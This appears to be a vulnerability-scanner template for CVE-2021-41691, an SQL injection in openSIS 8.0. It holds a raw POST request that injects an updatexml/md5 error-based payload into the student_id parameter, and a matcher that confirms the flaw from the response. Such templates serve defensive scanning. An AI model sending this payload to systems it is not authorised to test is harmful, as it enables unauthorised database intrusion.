id: CVE-2021-41691 info: name: openSIS Student Information System 8.0 SQl Injection Vulnerability author: Bartu Utku SARP severity: high description: description reference: - https://securityforeveryone.com/blog/opensis-student-information-system-0-day-vulnerability-cve-2021-41691 - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-41691 tags: cve,cve2021,opensis,sql classification: cve-id: CVE-2021-41691 requests: - raw: - | POST /opensis/TransferredOutModal.php?modfunc=detail HTTP/1.1 Content-Length: 103 Host: {{Hostname}} Cookie: {{Cookie}} Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Upgrade-Insecure-Requests: 1 Sec-Fetch-Dest: document Sec-Fetch-Mode: navigate Sec-Fetch-Site: none Sec-Fetch-User: ?1 Cache-Control: max-age=0 Te: trailers Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en-us) AppleWebKit/125.5.6 (KHTML, like Gecko) Safari/125.12 Connection: close student_id=updatexml(0x23,concat(1,md5(1234)),1)&button=Save&TRANSFER[SCHOOL]=5&TRANSFER[Grade_Level]=5 matchers: - type: word words: - "dc9bdb52d04dc20036dbd8313ed055" part: body